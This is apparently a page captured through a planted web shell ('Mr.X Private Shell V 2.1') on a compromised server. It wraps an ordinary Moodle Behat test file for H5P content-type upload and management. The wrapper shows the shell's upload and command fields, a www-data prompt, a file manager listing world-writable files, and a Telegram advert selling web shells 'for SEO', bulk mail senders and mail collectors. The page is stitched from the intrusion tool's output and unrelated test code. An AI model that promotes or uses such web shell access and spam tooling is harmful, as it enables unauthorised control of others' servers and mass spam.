__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@editor @core_h5p @_file_upload
Feature: Upload and list H5P libraries and content types installed

  @javascript
  Scenario: No library installed in new installations.
    Given I log in as "admin"
    When I navigate to "H5P > Manage H5P content types" in site administration
    Then I should see "Upload H5P content types"
    And I should not see "Installed H5P"

  @javascript
  Scenario: Upload an invalid content type.
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    When I upload "h5p/tests/fixtures/h5ptest.zip" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
    Then I should see "Invalid H5P content type"
    And I should not see "Installed H5P"

  @javascript
  Scenario: Upload a valid content type.
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    When I upload "h5p/tests/fixtures/filltheblanks.h5p" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
    Then I should see "H5P content types uploaded successfully"
    And I should see "Installed H5P"
    And I should see "Installed H5P content types"
    And I should see "Fill in the Blanks"
    And I should not see "Essay"
    And I should see "Installed H5P libraries"
    And I click on "Installed H5P libraries" "link"
    And I should see "Question"
    And I should see "1.4" in the "Question" "table_row"
    And I should not see "1.3" in the "Question" "table_row"
    And I upload "h5p/tests/fixtures/essay.zip" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
#   Existing content types are kept and new added
    And I should see "Fill in the Blanks"
    And I should see "Essay"
    And I click on "Installed H5P libraries" "link"
    And I should see "1.3" in the "Question" "table_row"
    And I should see "1.4"

  @javascript
  Scenario: Delete H5P library.
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    And I upload "h5p/tests/fixtures/filltheblanks.h5p" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
    And I click on "Installed H5P libraries" "link"
    When I click on "Delete version" "link" in the "H5P.FontIcons" "table_row"
    And I press "Continue"
    And I click on "Installed H5P content types" "link"
    Then I should not see "Fill in the Blanks"
    And I click on "Installed H5P libraries" "link"
    And I should not see "H5P.FontIcons"
    And I should not see "Joubel UI"
    And I should see "Transition"

  @javascript
  Scenario: Enable/disable H5P library
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    And I upload "h5p/tests/fixtures/filltheblanks.h5p" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    When I click on "Disable" "link" in the "Fill in the Blanks" "table_row"
    Then "Enable" "icon" should exist in the "Fill in the Blanks" "table_row"
    And "Disable" "icon" should not exist in the "Fill in the Blanks" "table_row"
    And I click on "Enable" "link" in the "Fill in the Blanks" "table_row"
    And "Disable" "icon" should exist in the "Fill in the Blanks" "table_row"
    And "Enable" "icon" should not exist in the "Fill in the Blanks" "table_row"

Filemanager

Name Type Size Permission Actions
h5p_deployment.feature File 3.8 KB 0777
h5p_libraries.feature File 3.78 KB 0777
h5p_overview.feature File 1.59 KB 0777
Filemanager